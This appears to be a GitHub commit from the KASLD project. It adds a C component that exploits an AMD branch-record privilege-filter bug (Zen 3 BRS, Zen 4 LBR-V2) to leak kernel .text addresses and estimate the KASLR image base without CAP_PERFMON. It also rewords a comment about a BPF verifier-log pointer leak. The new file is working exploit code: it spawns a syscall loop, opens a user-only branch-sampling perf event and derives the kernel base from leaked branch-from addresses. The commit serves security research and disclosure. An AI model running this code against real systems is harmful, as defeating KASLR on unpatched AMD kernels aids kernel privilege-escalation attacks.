Skip to content

Commit 21e9cbe

Browse files
committed
components: leak kernel text through the AMD branch-from filter bug
On AMD, branch privilege-level filtering is done in software, and both the Zen 3 BRS filter (amd_brs_match_plm) and the Zen 4 LBR-V2 filter validate only the branch-to address against the requested level. A branch FROM the kernel to user space — a SYSRET, ERET or interrupt return — has its branch-from address left unchecked and delivered to a caller requesting PERF_SAMPLE_BRANCH_USER. Those sites sit at the very start of .text, so the leaked branch-from is a tight interior witness of the image base. Requesting user branches never sets PERM_PLM, so perf_allow_kernel() is not consulted and the event opens at the default perf_event_paranoid=2 with no capability — the same kernel text the existing perf_lbr_sampling reaches only under CAP_PERFMON, which it needs because it requests BRANCH_KERNEL. These are distinct techniques — an intended gated capability versus a privilege- gate bypass — so the bypass is a separate component; the ring-drain reader they share moves to include/kasld/perf_branch.h and perf_lbr_sampling is refactored onto it with no change to what it emits. The hole is present since v5.19 (BRS) and v6.1 (LBR-V2), fixed at v7.2-rc3 (commits 47915e855fb3, 2a892294b83f). The component is self-detecting — it emits only a real kernel-text branch-from, a silent no-op on Intel, on AMD parts without BRS/LBR-V2, on a patched kernel, and under emulation. It has not been observed firing on live hardware.
1 parent 8bca4ff commit 21e9cbe

5 files changed

Lines changed: 426 additions & 169 deletions

File tree

src/components/bpf_verifier_log.c

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,13 @@
1111
// That mask historically covered only BPF_PSEUDO_MAP_FD and
1212
// BPF_PSEUDO_MAP_VALUE; BPF_PSEUDO_MAP_IDX, BPF_PSEUDO_MAP_IDX_VALUE and
1313
// BPF_PSEUDO_BTF_ID were left out, so the log printed the resolved kernel
14-
// pointer verbatim. For MAP_IDX the value is `(unsigned long)map` — the address
15-
// of the kmalloc'd `struct bpf_map`, i.e. a kernel direct-map VA. The verifier
16-
// log is returned to the caller even when the program is rejected.
14+
// pointer verbatim. This component takes the MAP_IDX case: the value is
15+
// `(unsigned long)map` — the address of the kmalloc'd `struct bpf_map`, i.e. a
16+
// kernel direct-map VA. The BTF_ID case leaks a kernel .text address instead
17+
// and is exploited by the sibling component bpf_verifier_ksym.c — the two split
18+
// the same disasm.c mask hole between the direct-map and kernel-text
19+
// quantities. The verifier log is returned to the caller even when the program
20+
// is rejected.
1721
//
1822
// Data leaked: a kmalloc'd `struct bpf_map *` (direct-map VA)
1923
// Kernel subsystem: kernel/bpf — verifier log (disasm.c print_bpf_insn)
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
// This file is part of KASLD - https://github.com/bcoles/kasld
2+
//
3+
// Leak kernel .text addresses through an AMD branch-record privilege-filter bug
4+
// (PERF_SAMPLE_BRANCH_USER at perf_event_paranoid=2).
5+
//
6+
// The INTENDED way to read kernel branch records — PERF_SAMPLE_BRANCH_KERNEL,
7+
// the sibling perf_lbr_sampling.c — sets PERF_SAMPLE_BRANCH_PERM_PLM and so
8+
// trips perf_allow_kernel(): it needs perf_event_paranoid<=1 or CAP_PERFMON.
9+
// This component reaches the same kernel addresses WITHOUT that capability, by
10+
// exploiting an AMD software-filter bug: it requests USER-only branches (which
11+
// never set PERM_PLM, so the gate is never consulted and the event is allowed
12+
// at the default paranoid=2 for one's own process), and the AMD branch filter
13+
// forgets to mask the branch-FROM privilege.
14+
//
15+
// On AMD, branch privilege-level filtering is done entirely in software:
16+
// amd_brs_match_plm() (Zen 3, X86_FEATURE_BRS) and the LBR-V2 filter (Zen 4,
17+
// X86_FEATURE_AMD_LBR_V2) validate only the branch-TO address against the
18+
// requested privilege level. For a branch FROM the kernel to user space — a
19+
// SYSRET / ERET / interrupt return — the branch-from address is left unchecked
20+
// and is delivered to a BRANCH_USER caller. Those sites sit at the very start
21+
// of .text (the entry trampolines), so the leaked branch-from is a tight
22+
// interior witness of the image base.
23+
//
24+
// A cycles event with PERF_SAMPLE_BRANCH_STACK + branch_sample_type =
25+
// BRANCH_ANY|BRANCH_USER routes through amd_pmu_branch_hw_config() to BRS on
26+
// Zen 3 or LBR-V2 on Zen 4 (both accept ANY|PLM); one attr covers both. Only
27+
// branch-FROM carries the kernel leak, so only from-endpoints are kept.
28+
//
29+
// NOT VALIDATED against a live leak: the branch-from disclosure has not been
30+
// observed firing on real hardware.
31+
//
32+
// Leak primitive:
33+
// Data leaked: kernel .text addresses (branch-from of SYSRET/ERET/IRET)
34+
// Kernel subsystem: arch/x86/events/amd — BRS (Zen3) / LBR-V2 (Zen4) filter
35+
// Data structure: perf_branch_entry { from, to, flags } — the `from` field
36+
// Address type: virtual (kernel text)
37+
// Method: parsed (CPU hardware branch trace)
38+
// Access check: NONE for kernel branch-from — the bug; opens at
39+
// paranoid=2 Patch: amd_brs_match_plm / lbr filter also check
40+
// branch-from
41+
// (v7.2-rc3, commits 47915e855fb3 (BRS) + 2a892294b83f
42+
// (LBR-V2)). Hole present since v5.19 (BRS) / v6.1
43+
// (LBR-V2).
44+
//
45+
// Self-detecting: emits only when a real kernel-text branch-from comes back, so
46+
// it is a silent no-op on Intel (the hardware filter masks correctly), on AMD
47+
// parts without BRS/LBR-V2, on a patched kernel, and under emulation (qemu-TCG
48+
// models no BRS/LBR).
49+
//
50+
// Mitigations:
51+
// Patched at v7.2-rc3 (the software filter now checks branch-from). On an
52+
// unpatched kernel there is no unprivileged mitigation short of
53+
// perf_event_paranoid>=3 (which blocks own-process sampling entirely).
54+
//
55+
// x86_64 only — BRS/LBR are x86-specific AMD hardware.
56+
// ---
57+
// <bcoles@gmail.com>
58+
59+
#if !defined(__x86_64__)
60+
#error "Architecture is not supported"
61+
#endif
62+
63+
#define _GNU_SOURCE
64+
#include "include/kasld/api.h"
65+
#include "include/kasld/cli.h"
66+
#include "include/kasld/perf_branch.h"
67+
#include <errno.h>
68+
#include <linux/perf_event.h>
69+
#include <signal.h>
70+
#include <stdint.h>
71+
#include <stdio.h>
72+
#include <stdlib.h>
73+
#include <string.h>
74+
#include <sys/syscall.h>
75+
#include <sys/utsname.h>
76+
#include <sys/wait.h>
77+
#include <unistd.h>
78+
79+
KASLD_EXPLAIN(
80+
"Opens a perf event requesting USER-only branches "
81+
"(branch_sample_type=ANY|USER) against a child doing a busy syscall loop. "
82+
"Requesting user branches never sets PERM_PLM, so the event is allowed at "
83+
"the default perf_event_paranoid=2 without CAP_PERFMON. On AMD (Zen 3 BRS "
84+
"/ "
85+
"Zen 4 LBR-V2) the software branch filter validates only the branch-to "
86+
"privilege, so kernel branch-from addresses of SYSRET/ERET/interrupt "
87+
"returns leak anyway - kernel .text. Patched v7.2-rc3; a no-op on "
88+
"Intel/patched/emulated CPUs.");
89+
90+
KASLD_META("method:parsed\n"
91+
"phase:inference\n"
92+
"live:1\n"
93+
"discloses:virtual\n"
94+
"note:bypasses_perfmon\n"
95+
"patch:v7.2\n");
96+
97+
int main(int argc, char *argv[]) {
98+
kasld_cli(argc, argv);
99+
if (kasld_skip_live_probe("perf AMD branch-user"))
100+
return 0;
101+
int verbose = kasld_is_verbose();
102+
103+
long page_size = sysconf(_SC_PAGESIZE);
104+
if (page_size <= 0)
105+
return KASLD_EXIT_UNAVAILABLE;
106+
107+
kasld_info("trying AMD BRANCH_USER branch-from leak on a busy-syscall "
108+
"child ...");
109+
110+
pid_t child = fork();
111+
if (child == -1) {
112+
perror("[-] fork");
113+
return KASLD_EXIT_UNAVAILABLE;
114+
}
115+
if (child == 0) {
116+
/* Busy syscall loop: each syscall return is a SYSRET whose branch-from is
117+
* a kernel entry-text address — the address this leak recovers. */
118+
struct utsname self;
119+
while (1)
120+
kasld_uname(&self);
121+
_exit(0);
122+
}
123+
124+
/* Request USER branches only: this never sets PERM_PLM, so perf_allow_kernel
125+
* is not consulted and the event opens at the default paranoid=2. A cycles
126+
* event with BRANCH_STACK enables BRS (Zen 3) or LBR-V2 (Zen 4). exclude_
127+
* kernel=1 keeps event counting user-only (paranoid=2-safe); the branch-from
128+
* leak arrives through the branch stack regardless. */
129+
struct perf_event_attr attr;
130+
memset(&attr, 0, sizeof(attr));
131+
attr.type = PERF_TYPE_HARDWARE;
132+
attr.config = PERF_COUNT_HW_CPU_CYCLES;
133+
attr.size = sizeof(attr);
134+
attr.sample_period = 10000;
135+
attr.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_BRANCH_STACK;
136+
attr.branch_sample_type = PERF_SAMPLE_BRANCH_ANY | PERF_SAMPLE_BRANCH_USER;
137+
attr.exclude_kernel = 1;
138+
attr.exclude_hv = 1;
139+
attr.disabled = 1;
140+
attr.wakeup_events = 1;
141+
142+
long fd = kasld_perf_event_open(&attr, child, -1, -1, 0);
143+
if (fd < 0) {
144+
int e = errno;
145+
kill(child, SIGKILL);
146+
waitpid(child, NULL, 0);
147+
if (e == EACCES || e == EPERM) {
148+
/* paranoid>=3 (own-process sampling blocked) or a hardened LSM. */
149+
fprintf(stderr, "[-] perf_event_open EACCES - perf_event_paranoid>=3?\n");
150+
return KASLD_EXIT_NOPERM;
151+
}
152+
if (e == ENOENT || e == EOPNOTSUPP) {
153+
kasld_err("no branch-record hardware (not AMD Zen3/Zen4, or no BRS/LBR)");
154+
return KASLD_EXIT_UNAVAILABLE;
155+
}
156+
errno = e;
157+
perror("[-] perf_event_open");
158+
return KASLD_EXIT_UNAVAILABLE;
159+
}
160+
161+
/* Only branch-FROM endpoints carry the kernel leak under a USER request. */
162+
struct kasld_perf_min acc = {
163+
.min_addr = ~0UL, .n = 0, .from_only = 1, .verbose = verbose};
164+
int n_samples = kasld_perf_branch_collect(
165+
(int)fd, page_size, KASLD_PERF_TARGET_SAMPLES, kasld_perf_min_cb, &acc);
166+
167+
close((int)fd);
168+
kill(child, SIGKILL);
169+
waitpid(child, NULL, 0);
170+
171+
if (n_samples < 0) {
172+
kasld_err("perf ring mmap/enable failed");
173+
return KASLD_EXIT_UNAVAILABLE;
174+
}
175+
if (acc.n == 0) {
176+
/* Opened, but no kernel branch-from came back: Intel (filter correct),
177+
* a non-vulnerable AMD part, a patched kernel, or emulation. */
178+
kasld_err("no kernel branch-from leaked (not a vulnerable AMD kernel)");
179+
return KASLD_EXIT_UNAVAILABLE;
180+
}
181+
182+
/* The leaked branch-from sits at image_base + offset (offset >= 0) — a sound
183+
* interior witness bounding image_base from above. Emit RAW; the engine's
184+
* range_from_interior derives the sound C_UPPER_BOUND on Q_VIRT_IMAGE_BASE.
185+
* See perf_lbr_sampling.c for the flooring rationale. */
186+
kasld_found("%lu kernel branch-from address(es) across %d sample(s)", acc.n,
187+
n_samples);
188+
kasld_info(
189+
" lowest leaked kernel-text address: 0x%lx (upper bound on base)",
190+
acc.min_addr);
191+
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, acc.min_addr, NULL,
192+
CONF_PARSED);
193+
194+
/* Entry-text branch-from sites sit in the base's own slot, so flooring the
195+
* lowest to the base grid is a within-one-slot GUESS: emit it as a
196+
* CONF_HEURISTIC base pin shaping only the LIKELY window, never the
197+
* guaranteed one. Gated on the 2 MiB grid (x86 only), as in the sibling. */
198+
#if KASLR_VIRT_ALIGN >= 2 * MB
199+
kasld_result_base(KASLD_TYPE_VIRT, REGION_KERNEL_IMAGE,
200+
kasld_floor_text_base(acc.min_addr), NULL, CONF_HEURISTIC);
201+
#endif
202+
return 0;
203+
}

0 commit comments

Comments
 (0)